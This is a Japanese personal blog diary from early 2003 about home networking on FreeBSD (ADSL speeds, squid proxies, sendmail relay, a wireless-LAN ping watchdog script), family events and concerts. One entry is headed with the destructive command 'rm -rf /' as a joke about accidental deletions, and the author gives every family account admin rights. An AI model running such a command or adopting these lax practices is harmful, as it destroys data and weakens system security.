本当のところ、目標が 30% アップだったので、これでよいのですが、モデムを変えただけで 30% アップしたので 12M 化に期待しすぎてがっかりしたのです。
前にも書きましたが、新しく加入する人は無料で 3ヶ月使用できて、高いころから NTT に貢献してきた顧客はお金を払い続けなければいけない、というのも納得できませぬ(-_-)。
それにしても、世の中には実効で 5.6Mbps という景気のよい方もいらっしゃるようで、全く不愉快なのであります。一昨日まで 2倍位勝っていたのに、一気に 2倍以上負けるとは(涙)。だけどアップロードの速度は変わるまい。 ←しつこいですなぁ(^^;。
お祝い
昨日は定時に会社を出ておうちで合格祝い。ひなまつりケーキを食べました(^^)。
それはそーとうちの倍位以上じゃないですか。よかったですね～。ふん、ルーターねたなんて出すんじゃなかった。全く不愉快だ(^^;。
それにしても 1Mbps 弱から突然 5.6Mbps にアップとは極端ですな(^^)。
倉敷で FreeBSD/VAIO
FreeBSD というと反応してしまうのですが、風情があってとてもよいのです。その後の二つもなんとゆうか、よいですな～(^^;。ちなみに倉敷は学生時代に学会の発表で広島に行った帰りに寄ったことがあります。古風で美しい町並みが印象に残っているのです。ところで、読んでくれいているのかどうか全然分からないのです(^^;。
ケータイ再考
毎月無線関連でケータイが 5,000円、 AirH" も 5,000円程度支出しております。それで、今度は二女のケータイを買う必要があるので、さすがに少し節約したいのであります。
よく考えてみると、ケータイで電話をかけることなどほとんどないわけで、手軽にインターネットに接続できるのなら、ケータイはいらないのではと思うのです。ただ、一度持ってしまうとなかなか手放せないですなぁ(^^;。
そこでなんにもオプションなしのコースにすると、月に 2,980円で現在より 2,000円安くなります。
これだと、極めて短い電話か着信しかできませんが、今でもそうなので問題はありません。
ただしこのコースですと、当然インターネットはご法度となります。これは、完全にインターネット中毒になっている(^^;私としては、とっても困るのです。
それで、インターネットはどうするかと言いますと、
もちろん型落ちのザウルス(^^;を買って AirH" を今以上に有効活用するのです。
＃ほとんど使わないのに 3,000円は高いですなぁ。いっそのことやめようかな。

2003年3月3日(月)

ひなまつり
今日はひなまつり、てゆーか二女の高校入試発表です。結構きわどいのでどうなることやら。ちなみに、去年私の PC 作業場所を作ったので、雛壇を飾る場所がなくて困っているのです。
合格したそうです(^^)。
ところで、最近の合格発表は、受験票を持参した生徒全員に封筒を渡し、その中に合否が書いてあるそうです。合格した生徒は、別の場所に入学関係の書類をもらいにゆくのです。時代の変化を感じますね。
12Mbps
ADSL が 8Mbps から 12Mbps に切り替わりましたが、ちょっと速いかな～という感じであんまり変わらないようです。 ←家に帰ってリンク速度をみたら全然変化なかったです(^^;。条件が良いときで実効 2.5Mbps が限度ですね。まあいいや。
rm -rf /(^^;
いやはや、人様の PC を端末から reboot したり、人様の X に自分の kterm を出したことは何回かありますが(^^;、PC を間違って致命的なことはまだしていないです。
PC を間違わない場合のミスとしては、
- なぜか /etc で rm *
- tar の c と x の間違い。これは泣きます。
- rm *>o # なぜこんなことが起きるかはキーボードを見るとわかります。
てゆーところですかねぇ。いずれにしても、バックアップが役に立ってよかったですね。

2003年3月2日(日)

ルーター
というわけで、メルコの BLR3-TX4L というルーターを買ってきました。つないでの実測ですが、FreeBSD 機で 2.3Mbps 位、Windwos2000 で 2.4Mbps 位とまあまあの性能。FreeBSD の方は無線のオーバーヘッドが大きいのだと思います。それにしても、価格が 5,000円で LAN 側に 4ポートのキャリア自動認識で、クロスでもストレートでも使えるスイッチングハブが付いているとは、とっても安いのであります。
＃全然メールが来なくなったと思ったら port 25(smtp) に穴を開けるのを
＃忘れていました(^^;。port 80(http),port 22(ssh) は忘れなかったです。
無線 LAN
えーっと、もう一度無線 LAN のスループットを計測したのですが、
- FreeBSD/X24 FreeBSD/R30 間 2.2Mbps
- FreeBSD/X24 Windows2000 間 4.5Mbps
- FreeBSD/R30 Windows2000 間 4.5Mbps
という結果になりまして、どうして Windows2000 相手だと速いかと言いますと、 Windows2000 は Ethernet 側を利用しているから無線の方には片方向しかデータが流れないからなのです。即ち、それなりの速度のルーターを使用して、 X24 から R30 のプロキシを参照するのをやめれば、インターネットとの通信では 4.2Mbps までは出ることになります。現実には ADSL の実効速度は 3.0Mbps 程度に落ち着くと思われますので、とりあえずボトルネックは解消するでしょう。
そもそも X24 のプロキシがさらに R30 のプロキシを参照するのは、会社にいるとき「家にいるふりをする」だけのためであり、本当はどうでもよいのです。これをやめれば上りが遅いのもどうでもよくなるし(^^;。

2003年3月1日(土)

きしめん
きしめんケーブルという名称は、てっきりこちらの方のご考案かとおもっていたら、メルコが考えたのですね。知らなかったです(^^;。
もしかして、うどんケーブルは登録商標にできないだろうか(^^;。
それとも、サナダ虫ケーブルと回虫ケーブルってゆーのはどうでしょうかねぇ(^^;。
ごろごろ
今日は疲れて寝込んでいたりします(^^;。
生八つ橋
危うく 2月29日でアップしそうになりました(^^;。
先週京都で、会社へのおみやげに買ったのですが、ずーっと埼玉で、一週間一度も会社にゆかず。明日賞味期限切れなので、家で食べます(^^;。
フレッツ ADSL モアのモデム
昨日久しぶりに家に帰ったらモデムがあったので、さっそく取りつけてテストしてみました。プロトコル自体はまだ ADSL 8M です。
それで転送速度を計測してみたのですが、1.8Mbps ということで、

全然変化していません(-_-)。

これは(無線とか通さないで)ルーター内で直接計測しても同様です。
ところで、MN-II というこんどのモデムは IP アドレスを与えることが可能でして、ブラウザでメンテナンスやリンク速度を見ることが可能なのです。それでさっそくリンク速度をみると、

下り 3.0Mbps
上り 0.8Mbps

という素敵～♥～な値。これはやはりルーターが粗悪ということで、FreeBSD/X24 に PPPoE の設定をして直結でテストしたら、

実効で下り 2.5Mbps 程度

という大体 3.0Mbps から導出される理論通りのうれしい速度(^^)。おそらく 3月3日の 12M 開通では実効で 3Mbps 程度は出ると思います。それにしても変調技術の進歩は本当にすばらしいですね。
それで、問題は三つありまして、
- 上りは速くない。これは最大でも 1Mbps なので仕方がないのです。ADSL の宿命です。
- ルーターを変更する必要がある。これは一昨日書いたように対処すればよいので特に問題はありません。
- X24 と R30 無線 LAN での速度が 2.2Mbps 程度しか出ない(^^;。
最後の問題は困りましたなぁ(^^;。X24 と R30 の転送の場合、一度基地局を通るので、最良でも理想速度(11Mbps)の半分しか出ないのは分かるのですが、 2.2Mbps とはちょっと～(^^;。これですと、ルータを良くしても最大 2.2Mbps しか出ない訳で、おうちは完全に無線に依存しているので、当面対処の方法がありません。
いよいよ本気で「きしめん化計画」(^^;をねらなきゃいけないですかねぇ。
ただ、現在でもボトルネックがルーターだけになったので、最高速度で安定しているという意味はあり、前よりははるかに快適になっています。とりあえず、ルーターを交換すればよいかな。

＃以前はルーターを通さないでも、実効 1.8Mbps しか出ていなかったのは
＃確認しております。

2003年2月28日(金)

make world の手順
通常の状態で(multi user mode で)、
- cvsup でソースを最新の状態とする。
- root となり /usr/src で make world と入力する。
- 1時間位で終了するので、/usr/src/sys/i386/conf で config KAGAMI。
- /usr/src/sys/compile/KAGAMI/ で
  # make depend && make && make install && reboot (^^;
/etc/ の不整合はまずいことががあってから考える(^^;。このあたりに性格、てゆーか慎重さの違いがありますな。私が杜撰すぎるのでしょうね。
喜多方
七角錐の少女って AQ さんのアレンジが素晴らしいと思っていましたが、ピアノ弾き語りってどんな感じなのだろうか。聴きたかったな。だけど、ゆく予定を立てておかなくてよかったです。もしゆく予定でも、昨日までの状況では絶対に行けなかったですから、もっと残念な思いをしていたに違いないのです。
ちょっとイメージしましたが、ピアノソロにとても向いているかも知れませんね。
続・お泊まり
今晩も埼玉県に泊まりです。仕事自体は一段落です。忙しかったが、内容は面白かったのです。

2003年2月27日(木)

ウィンドウズＭｅに安全上の欠陥　マイクロソフト
てゆーか、言われなくても欠陥があるのは分かると思うのだが。 OS がハングする時点で「安全性」はないのだ。
お泊まり
今晩は埼玉にお泊まりです。久々の修羅場です(^^;。「みんなのうた」は仕方ないですね。今回はあきらめましょう。
フレッツ ADSL モアのモデム
昨日家に届いたそうです。もちろん帰っていないので確かめていません。
世の中には 100Mbps にするとかしないとか、景気がよい話をしている方もいらっしゃる様ですが(^^;、わたしのもくろみとしては、モデムの変更だけで 10% 程度速度が上がって、 3月3日のはモアの開通で、さらに 20% 程度上がればよいと考えています。

これがころがっていて、家にもって帰ってよいそうなので、ルーターにしようかな。Linux というところがちょっと苦しいが。それとも、これもよいかも知れない。どうしてこんなに安くできるのだろう。

2003年2月26日(水)

w3m-0.4
タブ機能がつきました。快適です。ダウンロードして configure で適当に答えて make, make install で動作します。
喜多方
明日は喜多方で今回最後のソロコンサートですね。何回か書きましたが、昔、会津若松や喜多方の高校で教えていまして、奧さまともそこで知り合ったのです。
- 大学院中退後会津若松の高校に勤める。
- 磐城地方の高校に転勤。転勤する直前に奧さまと知り合う。
- 奧さまは会津若松の私立高校勤務だったので転勤できず。車で 3時間の遠距離恋愛。
- 遠距離恋愛中に奧さまが会津高校の先生にストーカー行為をされ、わたしが校長に文句をいったら、彼は周辺校に飛ばされた(^^;。
- 一年後(^^;に結婚。車で 3時間の別居生活。
- 一年後会津若松に戻り喜多方の高校勤務。やっと同居。
てゆー案配で、意外と波乱の恋愛だったりします。
会津地方は遊びに行くにはとっても良いところです。よそものが住むにはちょっと(^^;。今回はぜひ行きたかったのですが、仕事の都合等で行けません。行かれる方は楽しんできて下さいね。
徹夜
久々に徹夜作業です。自宅ですが。
ヨーグルト
R30 のヨーグルトが原因の破損第一はこれですが、実はヨーグルトは右側のヒンジと CDROM 再生装置を直撃しまして、 CDROM 再生装置はこのとき破損しております。従って、ディスプレイは 2ヶ月後、CDROM 再生装置は 7ヶ月後に破損するのが正しかったりします(^^;。
全件表示が役に立ったようですね(^^;。

2003年2月25日(火)

4月26日のチケット
明日は夜遅くまで仕事する必要があるので、現地に買いに行くひまがないですね。
朝一番で振り込みましょう。←何か奧さまに確認したら３日かかるそうで、だーめだこりゃ(-_-)。
ミス
しばらく変になっていた様です。どうしたのだろう。
自作アップロードシェルに、なんにも更新しないで二重アップすると newdiary.html が消えてしまうというバグがありました。 evariste.dd.que.ne.jp の方は大丈夫だったのですが。
とっても便利な w3m での投稿
前にも書いたように、普通にインターネットを歩きまわるときは w3m を愛用しております。以前は掲示板等への書き込みの場合、「きっと w3m では難しいであろう」という先入観念がありまして、 Mozilla 立ち上げて書き込みをしていたのです。
もちろん Mozilla で普通に入力可能なのですが、わたくしの場合 Emacs でないと指が動かない(^^;という重大な欠点があるのです。そういうわけで、普通の input field 位ならばよいのですが、 textarea フィールドへの入力はかなりストレスを感じまして、わざわざ Emacs で書いて、それを張り付ける場合も多かったのです。
それで、ずっとその様な状態で使用していたのですが、先日偶然 w3m で投稿してみましたところ、驚くほど使いやすかったのです。
- input filed は Emacs 風のキーバインドである。
- textarea で改行を押すと vi が起動する。知らなかった～(^^;。
vi が起動するなら設定を変更すれば Emacs が起動するに違いないと思いまして、w3m の設定画面(デフォルトで o)を出しましたら、「利用するエディタ」という項目がありまして、そこに emacs と書いたらちゃんと Emacs が起動するようになりました(^^;。~/.w3m/config では

editor /usr/local/bin/emacs

という感じです。
w3m というブラウザは、軽快で必要があればイメージまで表示できて、その上入力もし易いとなりますと、ますます手放せませんな(^^)。
不思議なにわとり
A-->B-->A と別の PC を使ったのだろうか。最近あっちが面白くてはまっている(^^;のですが、書き込みはしませんのでご安心を(^^;。
＃おさそいはうれしいのですが、余りに畑違いなので。それに最近
＃露出が多すぎるし(^^;。

2003年2月24日(月)

パールちゃん
昨日家に帰ってきたら、新しいハムスターがいました(^^)。その名はパールちゃん。よしよし、また可愛がってあげよう。
ちなみに奧さまの説によると、神奈川地方の風習でハムスターの喪は一週間で明けると決まっているので、もう新しいのを飼育してよいとのことです。ティンクちゃんやすらかに眠りたまえ。
埼玉
今日は久しぶりに埼玉県におでかけなのですが、寒いですな。実は京都もとても寒かったのです。この寒さが緩むといよいよ春でしょうね。ちなみに、京都に行くのと埼玉に行くのであんまり時間が変わらなかったりします(^^;。
評判が良い W2K
ご家族さま PC を Windows98 から W2K に変更したのですが、評判がとってもよいのです。奧さまがいうには「パソコンというのはしばらく使っていると必ずかたまるものと思っていた」ということ。今度は一度も落ちていないですからねぇ。良くなったこととしては、
- 落ちなくなった。
- 家族全員完全に独立したユーザーとなれた。例えば Netscape のブックマークが他人から(簡単には)見れなくなった。もちろん、全員 admin なので見れるのですが、そんな面倒なことはだれもやらない(できない^^;)のです。この件に関しては、特に二女が喜んでいます。インターネットで何を見ているのだろうか。男の子だと想像がつくのだが(^^;。
- きびきび感が出てきた。
一般に Windows98 より Windows2000 の方が重いと言われていますが、メモリーが十分あれば、全部 32bit コードで動作する Windows2000 の方が速度が速いのは当然だと思います。
いろいろ助言して下さった方々にお礼を申し上げます。

2003年2月23日(日)

22日の京都のソロコンサート

ピアノの弾き語りはとても素晴らしかったです。感想は後にして、得意の(^^;曲目リスト。果たしてマント牛は浮上するのだろうか。
てゆーか、HTML のフォーマット自体を間違えていたりしました(^^;。
もう一度、HTML のフォーマット自体を間違えていたりしました(^^;。

曲名備考

窓オープニング

アーク～きみの夢をみた～

すずかけ通り三丁目

猫のみた夢

ねこ曜日

猫の森には帰れない

会いたくてリクエスト

冬の果実リクエスト

はみがき・しゅしゅしゅリクエスト

森へおいでリクエスト

恋するニワトリ

まっくら森のうた

そっくりハウス

仇

SORAMIMI～空が耳をすましている～

約束の海

カントリーガールエンディング

DOOR アンコール(その１)

学びの雨アンコール(その２)

22日は、午後から家を出て小田原から新幹線にのって、17時頃に京都に到着。ホテル Elfin もとい Elinn(エルイン)にチェックインして現地へ。現地でチケットを譲って下さる H 氏と会いました。H さん、どうもありがとうございます。

それで、コンサートなのですが、ピアノ好きの私としましては、ピアノだけの弾き語りというのは本当に聴きたかったのです。もう最初の曲の「窓」からずーっと陶酔しっぱなしでした。最初の方では、猫シリーズの演奏がとても印象に残りました。「猫の森には帰れない」はピアノ弾き語り用の新アレンジでして、簡潔で躍動感がある良いアレンジでした(簡潔と簡単は全然ちがいます)。浩子さんも言ってましたが、まだ練習しきっていないということで、ミスも少しありました。
冬の果実はよい曲ですね。なぜか提供曲に特によい曲が多いですね。
お子さまシリーズが続いて、「仇」「SORAMIMI」「約束の海」と大曲が続きました。SORAMIMI のピアノバージョンはとても美しかったです。

個人的に一番ピアノだけの弾き語りに合っていたと思うのが、アンコールの２曲。特に「DOOR」は本当に感動的な演奏でした。私の短い浩子さん歴でも最も感動した演奏の一つです。この一曲のためだけでも京都まで行った価値がありました。

浩子さんがおっしゃるには、最近はピアノの練習をたくさんしていて、ホロヴィッツをめざす(^^;そうですので、今後ソロコンサートが増えるのかも知れませんね。
もちろんホロヴィッツのピアノをめざす(いくらなんでも無理^^;)のではなく、彼の晩年の境地をめざすということです。ホロヴィッツに関しては、私もいろいろと思い入れがあるので、今度書こうかなと思っています。

軽快な曲や、深い内容をじっくり聴かせてくれる曲が、特にソロに向いているかなと思います。
「森へおいで」はピアノだけではちょっと苦しいかも知れません。

デュアルディスプレイでの壁紙
2枚横にくっつけた横長のビットマップを作ってもだめなんでしょうね(^^;。
＃あれれ、できたのですね～(^^;。

2003年2月22日(土)

ハゲ殿^^;
ちょっと赤ずきんチャチャサイトをうろついていたら、「魔法使いセラヴィー誕生秘話の巻」「どろしー救出大作戦の巻」とゆう題名が目に入りました。いや～、今まで題名を思い出せなかったのですが、これが一番面白かったですねぇ。チャチャ達がタイムスリップして、セラヴィ─とどろしーの子供の頃の時代に行って、「ハゲ殿」と戦うおはなしです。どろしーちゃんの髪の毛の色の秘密もここで明されるのです。
なんといっても、ギャグのリズム感とテンポの良さが抜群でしたね。実を言いますと、原作はリアルタイム(りぼん)で最後の一年位以外はほとんど読んで、アニメは一回も見たことがない(^^;のですが、原作ではこのお話あたりからチャチャに「はまって」いったのでした。
このお話でもセラヴィ─が大活躍します。チャチャ達のキャラクターがよかったのはもちろんですが、個人的にはセラヴィ─の極悪性格(^^;がからんでこなければ、意外と平凡なマンガだった様な気がします。
＃それにしても、アニメで大チャチャさまというキャラが登場したと
＃知ったときは、本当に驚きましたねぇ(^^;。

2003年2月21日(金)

月面ミステリー、５０年ぶり解決
こういうのはインチキが多いのですが、これはすばらしいですね。よくこんな写真が撮れたものだと思います。
ぼけ
某掲示板に、確率変数で考えるべきところを、確率で考えてしまうという大ぼけつっこみを書いてしまいました。うーん、ちょっと疲れてるのかなぁ(^^;。
きびしい再つっこみしないで下さりましてありがとうございます。それにしても、あれを確率の話と見抜くとは、本当に鋭いのでございます。
フレッツ ADSL モア
申し込んでみました。今は 8M フレッツで実効が 2Mbps 位です。 1.5M から 8M に上げたとき速度が 3 倍になったので、夢よもう一度(^^;ということで 1.3 倍位になれば良いのですが。
＃光が欲しい(^^;。マンションですからねぇ(-_-)。
3月3日に開通とのメールが来ました。手際がよいですね。ただしメールには機種依存文字が含まれ、Content-Type: フィールドも存在しませんでした。天下の NTT が...。

2003年2月20日(木)

生活パターン
帰ってきて食事してすぐつぶれてしまって、 4時頃に起きる習性がついてしまいました。
とっても遅い受験の発表
昨日で二女の受験が終わったのですが、発表が3月3日(-_-)。どうしてこんなに時間がかかるのだろう。私が高校を受験したときや(いつの話^^;) 福島県で教員をやっていたときには 3日で発表になったのですが。
ちなみに、もう時効でしょうから、20年前の入試の内幕をちょっと。
- 前準備
  - 試験日が近づくと教員全体が躁状態となり、お祭り気分になってくる。忙しいとぼやきながら、明らかに準備を楽しんでいる。
  - 自分の子供が受験する先生は、一切会議に出ないし、採点や判定会議にも出ない。
  - 当日の打ち合わせは、先生としては異例なほど慎重に行われる。
  - テスト用紙は前日に教頭先生と教務主任先生が教育委員会に取りにゆく。
  - テスト用紙を慎重に仕分けして、校長室の金庫にしまう。校長室には必ず一人泊まり込む。寝ているだけで半日分の日当が出たりします。わたしも泊ったことがあります(^^;。
- 試験当日
  - 試験のタイムキーパというのがいまして、この人がチャイムをならしたり、必要な校内放送をするのですが、非常に神経を使う。これも何回かやったことがあります。あとは常識的な展開であります。
- 2日目
  - 試験が終わると、答案を一日校長室に保管して(まただれかが泊まり込み^^;)、翌日一日で採点は完了する。ちなみに、答案を回収した段階で、テスト用紙をひもでしばるのですが、このとき受験番号と名前が見えないようなしばりかたをする。
  - 採点は教科に関する先生が一次採点を行い、それを見直す先生、もう一度見直す先生と二重のチェックが入る。個人的な感触では、この段階で間違える確率は極めて小さいと思う。ただ、二回目のチェックで間違いが出る場合もまれにあるので、間違える可能性は 0 ではありません。点数の転記や合計点等の計算も必ず二重チェック。
  - 突然採点基準統一のための臨時教科会(5分位)が開かれたりする。事前に教育委員会から採点基準の通達はあるのですが、現実には必ず想定していない解答があるのです。
  - この日が一番「お祭り感」が強い。
- 3日目
  - 判定会議用の資料を作るのに一日費やす。この段階もチェックが厳重で間違えにくかったと思う。最近、採点を間違えたという報道がよくあるが、すこし慎重さが欠けてきている様な気がする。コンピューター化も、打ち込んでしまうと意外と間違いが分からないので、間違いを促進していると思う。
  - 達筆な先生が発表用の巻紙に、全員分の名前と受験番号を書く。
- 発表当日
  - 午前中判定会議。まず校長先生が、「受験番号 xxx 番、xxx 番、...、の生徒は校長の権限で不合格としますがよろしいでしょうか」と言う。要するに中学校で荒れていた生徒ですな(-_-)。自業自得とはいえ、最初から合格の可能性は 0 なのです。お荷物をしょいこみたくないので、普段は校長先生のやることなすことに文句を言う人権派の先生も沈黙。このあたりに、いわゆる人権派の先生の本質が見えるような気がします。
  - なぜか校内の公衆電話(当時は携帯などなかった)は封印されていたりする(^^;。今は携帯でずいぶん事前に合格者情報が漏ているんだろうな。
  - 最初は機械的に 10人ずつ合格者が決まってゆく。校長先生が「何番から何番の生徒合格よろしいでしょうか」と言って異議が出ない。
  - ボーダーラインが近づいてくると、突然体育の先生の声が大きくなって(^^;、運動の出来る生徒を合格させようとする。この頃は、みんな疲れてきて、どうでもよくなってきているので、余り文句がでない。
  - 判定会議が終わって合格者名簿の作成。ここで間違えたら今までの苦労が水の泡なので、慎重にも慎重を期す。前日作った全員分の巻紙から 不合格者分を切り取って糊付けする(-_-)。
  - 上記巻紙を張り出す。
コンピューターの導入や、時代が変わった関係で、今はだいぶ変化しているのでしょうが、本質は変わっていないと思います。本来、校内の作業は三日くらいで行えるのですが、最近の神奈川県で非常に発表に時間がかかるのは、試験の方式が複雑化して別学校との調整等も入るからだと思われます。

2003年2月19日(水)

覚え書き

藤沢から小田原   37分
小田原から京都 こだま421号  小田原13：51  京都17：02

泊りなので、ノートの電池を使いきってもよい。

続・お受験
今日は面接。それはともかく、二女の担任の先生さまは「はずれ」と何回も書きましたが、面接の指導で、「好きな科目とその理由と聞かれたら」という想定で、二女は変なところがパパ似で、他の科目よりは数学が好きなのですが、

数学は色々な解き方があるけど、答えが一つだから好き

と答えなさいだって。うーむ、やはり「はずれ」と言うか、はっきり言いまして愚鈍ですな。奧さまもあまりのひどさにあきれていました。
わたしの指導は、

数学は定式化や解釈により答えが多様なところが面白い

ということです。「はっきりした答えがない」というところがもっと面白いのですが、それは中学生には難しいでしょう。
ディズニーランド
長女に某舞浜大型レジャー施設からアルバイトの採用通知が来ました。長女は将来ここに就職希望なのです(^^;。
それはそーと、肝心の大学の方はちゃんと合格してるのだろーな(-_-)。
話はかわりますが、にわとり掲示板で再インストールした PC を使ったのですね(^^;。

2003年2月18日(火)

お受験
今日から二女の県立高校受験です。今日はペーパテストで、明日は面接。ちなみに、長女の受験ツアーは済んでいるので、これで全部終了です。
さっき、奧さまにメールを出して聞いたら、普通には出来たらしいとのこと。合格するといいな。
IIJ のメンテナンス
今朝行われた様です。やはり回線増強ですね。

2003年2月17日(月)

覚え書き
LAN から sendmail で中継を許可する方法。例えば、
```
    ------------------------------
    [/etc/mail/access]
    192.168    RELAY
    ------------------------------
```
として make して sendmail に HUP シグナル転送。
ちなみに mail ディレクトリのモードに関する「はまり」はここに書いてあったりします。
ついでに Canon BJ-S600 の FreeBSD からの印字には /usr/ports/print/bjfilters600 が必要そうだ。 Linux Emulation だが Canon のお墨つきらしい。
ネットワークカード
昨日は激安のカードを買いましたが、実は PC 一般にブランド指向(^^;なところがありまして、FreeBSD などで使用する場合 Intel か Dec の tulip カードが好きなのです。Tulip カード(例えば 21140)などは、昔から FreeBSD のドライバと相性が良く、 FreeBSD-2.0.5 の頃から安定して速度も速かったのです。
ご家族 PC が安物の牛さまで、さらに安物のカードを入れたのは、単に自分用でないという信じられないほど勝手な理由もあったりします。真面目な話として、この場合カードにこだわらない理由としては、
牛さまのカードはインターネット、または無線 LAN としか通信しない
ので、パフォーマンスが良くても意味がないからだったりします。
＃なぜか 3Com はいつもはまって相性が悪いのです。
＃単なる偶然なのでしょうが。
ちなみに、このページはちょっと前に FreeBSD-users-jp で話題になったりしました。

2003年2月16日(日)

知らなかった節分に太巻き
某掲示板に、節分に太巻きを食すると書いてあったのですが、不勉強にて全く知らなかったのであります(^^;。奧さまに聞いたら、「大阪の方では節分に太巻きを食べる」とのこと。そういえばこの掲示板の管理者さまは大阪の方(^^)。
ちなみにわたしは福島県出身で、奧さまは藤沢市出身なのです。最近はスーパーなどが売りたいということで、全国的に広まりつつあるとのことでした。
食べ物に関しては、地方により(自分にとって)意外な風習があったりして面白いですね。
Windows の再インストール
昨日、午後中寝ていたので眠れなくて、仕方ないのでご家族さま PC のバックアップをとって、試しにWindows2000 を入れてみたら、なんと音はちゃんとでたりしました。画面も大丈夫なので、~~ハーフサイズ~~ ロープロタイプのネットワークカードを買ってくればよいですね。よしよし、午後に買いに行って、念願の Windows2000 化だ～(^^)。
850円のコレガのカニカードを買ってきて W2K で認識成功。これからクリーンインストールです。
てゆーわけで無事終了。やっぱりメールのアカウントはわからなくってサーバー側で再設定(^^;。まだそんなに使ったわけではないですが、安定感がありますね。ちなみに、家族さまみんなのアカウントを作ったのですが、モカを含め、全員 admin 権限を持っています。いちいち「これが出来ない」と言われても分かんないし面倒だし～。そもそも、admin 権限なしで Windows を使っている人を見たことがないのです。
それにしても、性能とか信頼性とかうるさいことを言わなければ、ネットワークカードもただ同然ですね(^^)。

2003年2月15日(土)

調子が悪い無線 LAN
今日は、午前中ティンクちゃんのお葬式をしました。
午後から Windows の再インストールをする予定だったのですが、ちょっと転がっていたらうかつにも寝てしまって、目が覚めたら 18時(^^;。てゆーわけで、再インストールは明日になりそうです。
それはともかく、また無線 LAN の調子が悪くて、サーバーマシン(R30)と無線基地が通信不能となる最悪のパターンなのです。しかも R30 の ifconfig wi0 down,ifconfig wi0 up を行わないと絶対に復帰しないのです。明らかに FreeBSD のドライバの問題ですね。困ったなあ(-_-)。定期的に ping を投げてだめだったら ifconfig をやりなおそうかな。
幸い、私が家にいない場合は一度も起きていないのであります。おそらく、私の体が電波を遮断したり、家にいるとトラフィックが増える場合が多いということが要因となっているのでしょう。
＃どこのおうちも無線LANを入れると、日記ねたには困らないようですね(^^;。
それでこんなのを常駐。
```
-------------------------------------------------------------------------
#!/bin/sh
umask 022
unset LANG
if [ $# != 1 ]
then
    echo 'usage ./pingd.sh host' 1>&2
    exit 1
fi
host=$1
while :
do
    # timeout 10 秒で ping 実行
    ping -c 1 -t 10 $host >/dev/null 2>/dev/null
    if [ $? != 0 ]          # 失敗の場合
    then
        # ログを出して
        echo `date` " " wi0 reinitialized >>/var/log/pingd.log
        # ifconfig をやり直し
        ifconfig wi0 down >>/var/log/pingd.log 2>&1
        sleep 1
        ifconfig wi0 up >>/var/log/pingd.log 2>&1
    fi
    sleep 30                # 30 秒休み
done
-------------------------------------------------------------------------
```
ダブル squid で AirH"
ローカルとサーバーということです。とってもよいです。
私はおんなじところを何回もうろつくことが多いので、2重プロキシで、画像がローカルにキャッシュされている威力は絶大なのです。 AirH" での使い勝手が非常によくなりました。
Shift-JIS 化に始まり、squid に終わるというのはどういう経緯だったのだろう。 Squid ねたはこれでひとまず終了です。
京都
2月22日(土) に旅行。修学旅行(の~~付き添い~~引率)以来です。

2003年2月14日(金)

ティンクちゃん死す
ハムスターです。2ヶ月以上体の調子が悪そうだったのです。長生きしてくれました。
覚え書き
Squid が親の squid を参照する方法。

[/usr/local/etc/squid/squid.conf]
cache_peer evariste.dd.que.ne.jp parent 8080 3130 no-query
never_direct allow all

ついでに squid のログを回転させる方法。

kill -USR1 `cat /usr/local/squid/logs/squid.pid`

それはそうと、昨日から今日にかけて、ある人にアドレスを伝えようとユーザエージェントに細工をした w3m であっちこっちを歩いてしまった様です(^^;。一回だけのつもりだったのにキャンセルするのを忘れていました。
チョコレート
今日はバレンタインディで、うちは３人とも女の子なので、台所はチョコを作った残骸で惨状を呈しています。例年わたしも「残り物^^;」をいただけるのですが、万が一 3月14日にお返しを忘れたりすると、大変な非難を受けるのであります(^^;。
それから、2月10日頃からは、冷蔵庫のチョコレートをうかつに食べてしまうと、大変怒られる場合もあったりしますので、十分注意する必要があるのです。
＃チョコレートに限らず、夜中に冷蔵庫をあさって怒られた回数は
＃数えきれませぬな(^^;。
きしめん
そういえば、「うどん」でなくて「きしめん」ならば屋内の別部屋でもはわせられますね。 ADSLモデムとノートサーバーを Ethernet でつないぐのことできるかも知れません。考えてみよう。これが出来るとノートサーバーをルーターに出来るのです。

2003年2月13日(木)

調子が悪い自宅パソコン
ご家族さま用 Windows PC のことです。５分ともちません。もう限界ですな(-_-)。
調子がよい自宅プロキシ
数日前より squid をプロキシとして自宅で運用して、会社からの WWW アクセスはすべて自宅プロキシを通すようにしています。自宅プロキシの利点としては、
- せっかくある自宅サーバーが役に立つ(^^;。
- どうでもよいのですが、自宅にいるふりができる(^^;。お客様のところからアクセスするときは便利かも知れません。
- 自宅のマシンの Mozilla はもちろん、 w3m の画像バージョンでも X 経由で会社から閲覧するのは遅くて不可能に近かったが、会社側の PC の Mozilla や、画像付き w3m はさくさく動く。 Squid とは別に、会社側の PC のブラウザ自体のキャッシュがとても有効なのです。 X は何も考えずに画像を送ってくるのでとっても遅いということもあります。
自宅は ADSL なので上りが 1Mbps 弱で、その速度が心配だったのですが、普通に WWW を閲覧するには全く問題ないようです。ちなみに、会社に持っていってるマシンで squid を動作させて、それが自宅の squid を見にゆくようにすればもっとよいのでしょうが、例のごとく設定がわからないのであります(^^;。
覚え書き
IIJ からのメール。
2003 年 2 月 18 日 (火) 05:00 ～ 06:00 迄の間
システムメンテナンスのため神奈川県エリアで
インターネットへの接続ができません。

大勢に影響はないですね。ここが苦しくなってきているので、増強するのかも知れません。違うかも知れないけど。

2003年2月12日(水)

色を迫害する JPEG フォーマット
JPEG という規格は、簡潔さと実用性のバランスがとれた、とてもよい技術ですが、普通の人が思っている以上に「色成分」に迫害を加えております。例えば光の 3 元色である R,G,B をちょっと変換しますと、 Y,U,V の形式(Y は輝度成分, U=青成分, V=赤成分)に分解できます。 Y,U,V がデータ量として等分ですと輝度と色に関して平等なのですが、 JPEG の場合、通常は、

Y:U:V = 4:4:4
Y:U:V = 4:2:2
Y:U:V = 4:1:1

のフォーマットがありまして、人間の目は色よりも輝度に関して敏感であるということを利用しまして、主に真ん中の Y:U:V=4:2:2 の方式でエンコードされます。即ち、エンコード前に、色成分は半分間引かれているわけであります。
その後、離散コサイン変換とか難しいことをやりまして、最終的に「周波数成分が高い」成分を間引くのですが、これも輝度成分に比して色成分は「えー、こんなに～」というほど派手に間引かれます。ちなみに、ここで間引きすぎますと、いわゆる「モザイク JPEG」になってしまうのであります。
間引くといっても、実際には後で補正されるのですが、いずれにしても色成分の、特に、高周波成分に関しては「精度」が低くなり、色がずれたり、ぼんやりと発散することになります。例えば、肌色の周辺にちょっと赤っぽい線を書いた場合など、赤い色が周辺ににじんで、肌色と同化して、最終的に線の部分は黒っぽく見えてしまいます。
